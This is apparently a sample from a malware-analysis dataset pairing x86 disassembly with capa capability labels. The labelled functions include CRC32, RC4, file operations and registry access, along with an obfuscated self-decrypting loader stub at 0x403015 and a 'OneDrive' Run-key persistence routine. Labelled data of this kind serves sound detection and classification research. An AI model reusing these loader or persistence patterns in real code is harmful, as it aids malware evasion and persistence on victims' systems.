joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404831
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp byte [0x42e228], 0
jne 0x40486a
xor ecx, ecx
push 8
mov eax, ecx
pop edx
test al, 1
je 0x40484e
shr eax, 1
xor eax, 0xedb88320
jmp 0x404850
shr eax, 1
dec edx
jne 0x404841
mov dword [ecx*4 + 0x42d468], eax
inc ecx
cmp ecx, 0x100
jb 0x40483c
mov byte [0x42e228], 1
xor ecx, ecx
or eax, 0xffffffff
cmp dword [esp + 8], ecx
jbe 0x404896
mov edx, dword [esp + 4]
movzx edx, byte [ecx + edx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x42d468]
inc ecx
cmp ecx, dword [esp + 8]
jb 0x404875
not eax
ret 8

Function at 0x4048fe
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
mov cl, byte [eax + 0x100]
push edi
mov byte [ebp - 1], cl
mov cl, byte [eax + 0x101]
xor edi, edi
mov byte [ebp - 2], cl
cmp dword [ebp + 0xc], edi
jbe 0x404958
push ebx
push esi
inc byte [ebp - 1]
movzx esi, byte [ebp - 1]
mov dl, byte [esi + eax]
add byte [ebp - 2], dl
movzx ecx, byte [ebp - 2]
mov bl, byte [ecx + eax]
mov byte [esi + eax], bl
mov byte [ecx + eax], dl
movzx esi, byte [esi + eax]
mov ecx, dword [ebp + 8]
movzx edx, dl
add esi, edx
and esi, 0xff
mov dl, byte [esi + eax]
xor byte [ecx + edi], dl
inc edi
cmp edi, dword [ebp + 0xc]
jb 0x40491e
pop esi
pop ebx
mov cl, byte [ebp - 1]
mov byte [eax + 0x100], cl
mov cl, byte [ebp - 2]
mov byte [eax + 0x101], cl
pop edi
leave
ret 8

Function at 0x404996
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.o_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4049f3
cmp dword [ebp + 0xc], ebx
je 0x4049dd
cmp dword [ebp + 0x10], ebx
je 0x4049dd
push ebx
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.o_WriteFile]
test eax, eax
je 0x4049df
mov bl, 1
push esi
call dword [sym.imp.o_CloseHandle]
cmp bl, 1
je 0x4049f3
push dword [ebp + 8]
call fcn.00404abc
pop esi
mov al, bl
pop ebx
pop ebp
ret 0xc

Function at 0x4049fb
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.o_CreateFileW]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
je 0x404a8e
lea ecx, [ebp - 8]
push ecx
push eax
call dword [sym.imp.o_GetFileSizeEx]
test eax, eax
je 0x404a85
cmp dword [ebp - 4], edi
jne 0x404a85
mov eax, dword [ebp - 8]
mov dword [esi + 4], eax
cmp eax, edi
jne 0x404a44
mov dword [esi], edi
mov al, 1
jmp 0x404a90
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.o_VirtualAlloc]
mov dword [esi], eax
cmp eax, edi
je 0x404a85
push edi
lea ecx, [ebp + 8]
push ecx
push dword [esi + 4]
push eax
push dword [esi + 8]
call dword [sym.imp.o_ReadFile]
test eax, eax
je 0x404a77
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 4]
je 0x404a40
push 0x8000
push edi
push dword [esi]
call dword [sym.imp.o_VirtualFree]
push dword [esi + 8]
call dword [sym.imp.o_CloseHandle]
xor al, al
pop edi
leave
ret 4
Function at 0x404abc
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0x80
push dword [esp + 8]
call dword [sym.imp.o_SetFileAttributesW]
push dword [esp + 4]
call dword [sym.imp.o_DeleteFileW]
test eax, eax
setne al
ret 4

Function at 0x404dc6
Capabilities:
Get graphical window text

Disassembly:
push esi
push edi
push dword [esp + 0xc]
xor edi, edi
call dword [0x4080e4]
mov esi, eax
test esi, esi
jle 0x404e0e
lea eax, [esi + esi + 2]
test eax, eax
je 0x404e0c
call fcn.0040360a
mov edi, eax
test edi, edi
je 0x404e0e
inc esi
push esi
push edi
push dword [esp + 0x14]
call dword [0x4080e8]
test eax, eax
jle 0x404e06
test ebx, ebx
je 0x404e0e
mov dword [ebx], eax
jmp 0x404e0e
push edi
call fcn.0040361d
xor edi, edi
mov eax, edi
pop edi
pop esi
ret 4
Function at 0x4056cf
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
push esi
cmp word [0x408420], ax
jne 0x405750
mov eax, dword [0x40845c]
cmp eax, 2
jb 0x405750
cmp eax, 0x22508
jae 0x405750
lea eax, [eax + 0x408420]
cmp dword [eax], 0x4550
jne 0x405750
movzx edx, word [eax + 0x14]
mov ecx, 0x42aa08
sub ecx, eax
cmp edx, ecx
jae 0x405750
mov ecx, 0x14c
cmp word [eax + 4], cx
jne 0x405750
add ecx, 0xffffffbf
cmp word [eax + 0x18], cx
jne 0x405750
mov ecx, dword [eax + 0x3c]
mov eax, dword [eax + 0x38]
lea esi, [ecx - 0x200]
mov edx, 0xfe00
cmp esi, edx
ja 0x405750
lea esi, [eax - 0x200]
cmp esi, edx
ja 0x405750
cmp eax, ecx
jb 0x405750
test cl, 1
jne 0x405750
test al, 1
jne 0x405750
mov al, 1
pop esi
ret
xor al, al
pop esi
ret

Function at 0x405754
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x2d4
push ebx
push esi
push edi
xor ebx, ebx
lea eax, [ebp - 0x260]
push eax
push ebx
push ebx
push 0x24
push ebx
mov byte [ebp + 0x73], bl
call dword [0x4080b8]
test eax, eax
jne 0x4057f2
mov esi, dword [0x4080c8]
lea eax, [ebp - 0x260]
push eax
call esi
mov edi, dword [sym.imp.o_GetVolumeNameForVolumeMountPointW]
jmp 0x4057bb
lea eax, [ebp - 0x260]
push eax
call dword [0x4080c4]
lea eax, [ebp - 0x260]
push eax
call dword [0x4080d4]
test eax, eax
je 0x4057f2
lea eax, [ebp - 0x260]
push eax
call esi
push 0x64
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x260]
push eax
call edi
test eax, eax
je 0x405794
cmp word [ebp - 0x44], 0x7b
jne 0x4057f2
push dword [ebp + 0x7c]
xor eax, eax
mov word [ebp + 8], ax
lea eax, [ebp - 0x44]
push eax
call dword [0x408128]
test eax, eax
jne 0x4057f2
mov byte [ebp + 0x73], 1
jmp 0x4057fd
push 0x10
push ebx
push dword [ebp + 0x7c]
call fcn.00403682
mov al, byte [ebp + 0x73]
pop edi
pop esi
pop ebx
add ebp, 0x74
leave
ret 4
Function at 0x4059df
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [ebp + 8]
mov edx, dword [eax]
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 4], edx
call fcn.004059a8
mov esi, eax
test esi, esi
je 0x405a7e
mov ebx, 0xfff0ffff
mov edi, 0x70000000
cmp dword [esi], 0
jbe 0x405a6e
mov eax, dword [esi + 4]
test eax, 0xc0000
je 0x405a1e
and dword [esi], 0
jmp 0x405a6e
and eax, ebx
mov dword [esi + 4], eax
and eax, edi
mov dword [ebp - 8], eax
mov eax, esi
jmp 0x405a48
mov ecx, dword [eax]
cmp ecx, dword [esi]
jne 0x405a48
mov ecx, dword [eax + 4]
and ecx, edi
cmp ecx, dword [ebp - 8]
jne 0x405a48
test dword [eax + 4], 0xe0000
jne 0x405a56
and dword [eax], 0
mov edx, dword [ebp - 4]
call fcn.004059a8
test eax, eax
jne 0x405a2c
jmp 0x405a6e
and dword [esi], 0
mov ecx, dword [eax + 4]
test ecx, 0x80000
je 0x405a69
and dword [eax], 0
jmp 0x405a6e
and ecx, ebx
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.004059a8
mov esi, eax
test esi, esi
jne 0x405a0a
call fcn.00405892
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x405b6c
xor eax, eax
jmp 0x405aef
cmp dword [edi], 0
jbe 0x405aed
mov ebx, dword [edi + 8]
mov eax, dword [esi + 0x14]
add ebx, 0x10
add eax, ebx
lea esi, [ebp - 8]
call fcn.004035b5
mov esi, dword [ebp - 8]
test al, al
je 0x405b66
mov eax, dword [esi + 0x14]
mov ecx, dword [edi]
add eax, esi
mov dword [eax], ecx
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 8], ecx
mov ecx, dword [edi + 0xc]
mov dword [eax + 0xc], ecx
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x405ae7
push ecx
lea ecx, [edi + 0x10]
push ecx
add eax, 0x10
push eax
call fcn.00403659
inc dword [esi + 0x1c]
add dword [esi + 0x14], ebx
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004059a8
mov edi, eax
test edi, edi
jne 0x405a94
mov eax, dword [esi + 0x14]
sub eax, 0x30
push eax
lea eax, [esi + 0x30]
push eax
lea eax, [esi + 0x20]
push eax
call fcn.00404728
test al, al
je 0x405b66
push edi
push 0x14
push esi
call fcn.0040496f
cmp dword [ebp + 0xc], 0
mov edi, dword [esi + 0x14]
je 0x405b55
xor eax, eax
inc eax
cmp edi, eax
jbe 0x405b3a
mov cl, byte [eax + esi - 1]
xor byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x405b2e
push 0x102
push dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push eax
call fcn.00403659
push edi
push esi
call fcn.004048fe
push dword [ebp - 4]
call fcn.0040361d
mov eax, dword [ebp + 8]
mov dword [eax], esi
mov eax, edi
jmp 0x405b6e
push esi
call fcn.0040361d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x403015
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x403024
pop dword [ebp - 0xc]
mov eax, 0xe7fb2ca9
sub eax, 0xe7bafc85
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x8595fa58
add dword [ebp - 0x1c], 0xc8bc4af3
mov dword [ebp - 0x18], 0x4faffced
sub dword [ebp - 0x18], 0x1d7cb0a8
mov dword [ebp - 0x14], 0x8fe33376
sub dword [ebp - 0x14], 0x4396ef48
mov dword [ebp - 0x10], 0x918b43a1
sub dword [ebp - 0x10], 0x918b43a1
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x994ee8ea
add dword [ebp - 0x1c], 0xdb23806c
mov dword [ebp - 0x18], 0x6838b14b
add dword [ebp - 0x18], 0xd933b02a
mov dword [ebp - 0x14], 0x5d4e9600
add dword [ebp - 0x14], 0x620d66c
mov dword [ebp - 0x10], 0x1aad9179
add dword [ebp - 0x10], 0xe5526e87
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3822c
push 0
call eax
mov ecx, 0x4c64
mov ebx, eax
mov esi, 0xd2503afc
add esi, 0x2df4d904
add esi, dword [ebp - 0xc]
mov edx, 0x2ff14fba
sub edx, 0xbc8c613
mov dword [ebp - 8], 0x1be042
mov edi, dword [esi]
add dword [ebp - 4], 0xb974a9ce
xor edi, edx
xor dword [ebp - 4], 0xfd6a85ea
mov dword [ebx], edi
add ebx, 0xfffa93cc
add ebx, 0x56c38
add esi, 4
loop 0x403136
add eax, 0x41021a34
sub eax, 0x4100f5d1
mov ebx, eax
add eax, 0x1af94982
sub eax, 0x1af9497d
mov ecx, 0x5e0ed645
add ecx, 0xa23129bb
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x406635
Capabilities:
Persist via run registry key

Disassembly:
push 0x6c
mov eax, 0x466b75
call fcn.0042f3c4
mov edi, dword [ebp + 8]
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 7
mov byte [edi], bl
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x44]
mov dword [ebp - 4], ebx
push eax
call fcn.0040877a
mov esi, eax
test esi, esi
js 0x4067c5
push 7
pop esi
xor eax, eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], esi
mov word [ebp - 0x2c], ax
mov dword [ebp - 0x78], ebx
lea ecx, [ebp - 0x78]
push str.OneDrive
mov byte [ebp - 4], 1
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], esi
mov word [ebp - 0x78], ax
call fcn.00402414
xor eax, eax
mov dword [ebp - 0x60], ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 2
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], esi
mov word [ebp - 0x60], ax
call fcn.00402414
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 3
push eax
push ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x60]
push eax
push SysReAllocString
call fcn.00409a33
mov esi, eax
mov eax, dword [ebp - 0x4c]
cmp eax, 8
jb 0x406719
mov ecx, dword [ebp - 0x60]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x14], ecx
cmp eax, 0x1000
jb 0x406710
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00401d0d
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x14]
push eax
push ecx
call fcn.0042ed0c
pop ecx
pop ecx
xor eax, eax
mov dword [ebp - 0x50], ebx
mov word [ebp - 0x60], ax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x4c], 7
cmp eax, 8
jb 0x406764
mov ecx, dword [ebp - 0x78]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x48], ecx
cmp eax, 0x1000
jb 0x40675b
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.00401d0d
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x48]
push eax
push ecx
call fcn.0042ed0c
pop ecx
pop ecx
cmp dword [ebp - 0x30], 8
lea ecx, [ebp - 0x44]
lea eax, [ebp - 0x2c]
cmovae ecx, dword [ebp - 0x44]
cmp dword [ebp - 0x18], 8
push ecx
cmovae eax, dword [ebp - 0x2c]
push eax
call fcn.0044ae45
pop ecx
pop ecx
test eax, eax
jne 0x40678a
mov byte [edi], 1
mov eax, dword [ebp - 0x18]
cmp eax, 8
jb 0x4067c5
mov ecx, dword [ebp - 0x2c]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x48], ecx
cmp eax, 0x1000
jb 0x4067bc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.00401d0d
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x48]
push eax
push ecx
call fcn.0042ed0c
pop ecx
pop ecx
mov eax, dword [ebp - 0x30]
cmp eax, 8
jb 0x406800
mov ecx, dword [ebp - 0x44]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x48], ecx
cmp eax, 0x1000
jb 0x4067f7
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.00401d0d
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x48]
push eax
push ecx
call fcn.0042ed0c
pop ecx
pop ecx
mov eax, esi
call fcn.0042f382
ret 4
Function at 0x407002
Capabilities:
Delete file

Disassembly:
nop
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x48c944]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
mov eax, esi
push edi
xor edi, edi
cmp dword [esi + 0x14], 8
jb 0x407026
mov eax, dword [esi]
lea ecx, [ebp - 0x254]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x407067
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [esi + 0x14], 8
jb 0x407048
mov esi, dword [esi]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x407067
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx edi, ax
or edi, 0x80070000
test eax, eax
cmovle edi, eax
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0042eaad
leave
ret 4
push ebp
mov ebp, esp
pop ebp
jmp 0x407000

Function at 0x4076a6
Capabilities:
Query or enumerate registry key

Disassembly:
push 0x230
mov eax, 0x466e30
call fcn.0042f3c4
mov ecx, dword [ebp + 0x14]
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x23c], ecx
call fcn.00410c20
xor ecx, ecx
mov eax, 0x200
cmp dword [ebp + 0x10], 1
mov edx, 0x100
cmove ecx, eax
xor eax, eax
cmp dword [ebp + 0x10], 2
cmove eax, edx
and dword [ebp - 0x234], 0
or ecx, eax
or ecx, 0x20019
cmp dword [esi + 0x14], 8
jb 0x4076fc
mov esi, dword [esi]
lea eax, [ebp - 0x234]
push eax
push ecx
push 0
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x407842
xor ebx, ebx
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x218]
mov dword [ebp - 0x218], 0xff
push eax
lea eax, [ebp - 0x210]
push eax
push ebx
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov edi, eax
test edi, edi
jne 0x407815
and dword [ebp - 0x230], eax
lea ecx, [ebp - 0x230]
and dword [ebp - 0x220], eax
mov word [ebp - 0x230], ax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 0x21c], 7
call fcn.00402414
mov eax, dword [ebp - 0x23c]
and dword [ebp - 4], edi
mov ecx, dword [eax + 4]
cmp ecx, dword [eax + 8]
je 0x4077ad
lea ecx, [ebp - 0x230]
push ecx
mov ecx, eax
call fcn.00402f57
jmp 0x4077bc
lea edx, [ebp - 0x230]
push edx
push ecx
mov ecx, eax
call fcn.00403130
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x21c]
cmp eax, 8
jb 0x40781d
mov ecx, dword [ebp - 0x230]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x238], ecx
cmp eax, 0x1000
jb 0x40780a
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x238]
push eax
call fcn.00401d0d
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 0x238]
push eax
push ecx
call fcn.0042ed0c
pop ecx
pop ecx
jmp 0x40781d
cmp edi, 0x103
jne 0x407828
inc ebx
test edi, edi
je 0x407726
jmp 0x407836
movzx esi, di
or esi, 0x80070000
test edi, edi
cmovle esi, edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
call fcn.0042f382
ret 0x10
Function at 0x408e63
Capabilities:
Get common file path

Disassembly:
nop
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x48c944]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x20c]
push 0x208
xor esi, esi
mov dword [ebp - 0x210], 0x104
push esi
push eax
call fcn.00443f80
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USERENV.dll_GetDefaultUserProfileDirectoryW]
test eax, eax
je 0x408ec4
lea eax, [ebp - 0x20c]
mov ecx, edi
push eax
call fcn.00402414
jmp 0x408ed8
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.0042eaad
leave
ret 4
push ebp
mov ebp, esp
pop ebp
jmp 0x408e61

Function at 0x408f11
Capabilities:
Query or enumerate registry value

Disassembly:
nop
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [0x48c944]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
movzx eax, byte [ebp + 0x14]
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x18]
shl eax, 8
push esi
add eax, 0x20019
cmp dword [ecx + 0x14], 8
push edi
mov edi, dword [ebp + 0x10]
jb 0x408f47
mov ecx, dword [ecx]
lea esi, [ebp - 0x830]
push esi
push eax
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x82c], 0x820
test eax, eax
cmovle esi, eax
and dword [ebp - 0x828], 0
test esi, esi
js 0x408fef
cmp dword [edi + 0x14], 8
jb 0x408f84
mov edi, dword [edi]
lea eax, [ebp - 0x82c]
push eax
lea eax, [ebp - 0x824]
push eax
lea eax, [ebp - 0x828]
push eax
push 0
push edi
push dword [ebp - 0x830]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x408fe3
cmp dword [ebp - 0x828], 1
je 0x408fd3
cmp dword [ebp - 0x828], 2
je 0x408fd3
mov esi, 0x8007065d
jmp 0x408fe3
lea eax, [ebp - 0x824]
mov ecx, ebx
push eax
xor esi, esi
call fcn.00402414
push dword [ebp - 0x830]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042eaad
leave
ret 0x14
push ebp
mov ebp, esp
pop ebp
jmp 0x408f0f

Function at 0x4097ad
Capabilities:
Query or enumerate registry value

Disassembly:
nop
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x48c944]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x20c]
push 0x208
xor esi, esi
push esi
push eax
call fcn.00443f80
add esp, 0xc
mov dword [ebp - 0x214], 1
lea eax, [ebp - 0x210]
mov dword [ebp - 0x210], 0x104
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x214]
push eax
push str.Version
push str.SoftwareMicrosoftOneDrive
call fcn.004093be
push eax
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
jne 0x40982f
lea eax, [ebp - 0x20c]
mov ecx, edi
push eax
call fcn.00402414
jmp 0x409834
mov esi, 0x80004005
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.0042eaad
leave
ret 4
push ebp
mov ebp, esp
pop ebp
jmp 0x4097ab
Function at 0x409943
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x48c944]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0x10]
test ebx, ebx
jne 0x40996f
mov eax, 0x80070057
jmp 0x409a02
movzx eax, byte [ebp + 0x14]
shl eax, 8
add eax, 0x20019
cmp dword [ecx + 0x14], 8
jb 0x409983
mov ecx, dword [ecx]
push esi
lea esi, [ebp - 0x18]
push esi
push eax
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
push 8
cmovle esi, eax
pop eax
mov dword [ebp - 8], eax
test esi, esi
js 0x4099ff
cmp dword [edi + 0x14], eax
jb 0x4099b2
mov edi, dword [edi]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push edi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x4099f6
cmp dword [ebp - 0xc], 0xb
jne 0x4099f1
mov eax, dword [ebp - 0x14]
xor esi, esi
mov ecx, dword [ebp - 0x10]
mov dword [ebx], eax
mov dword [ebx + 4], ecx
jmp 0x4099f6
mov esi, 0x8007065d
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0042eaad
leave
ret 0x14

Function at 0x40cd45
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x48c944]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, 0x20006
cmp byte [ebp + 0x18], 0
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, 0x102
cmovne ecx, edi
cmp dword [eax + 0x14], 8
jb 0x40cd7c
mov eax, dword [eax]
push 0
lea edi, [ebp - 8]
push edi
xor edi, edi
push edi
push ecx
push edi
push edi
push edi
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edi, eax
test edi, edi
jne 0x40cdc4
cmp dword [esi + 0x10], eax
jne 0x40cda0
xor esi, esi
jmp 0x40cda8
cmp dword [esi + 0x14], 8
jb 0x40cda8
mov esi, dword [esi]
push 8
push ebx
push 0xb
push 0
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
movzx eax, di
or eax, 0x80070000
test edi, edi
cmovle eax, edi
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0042eaad
leave
ret 0x14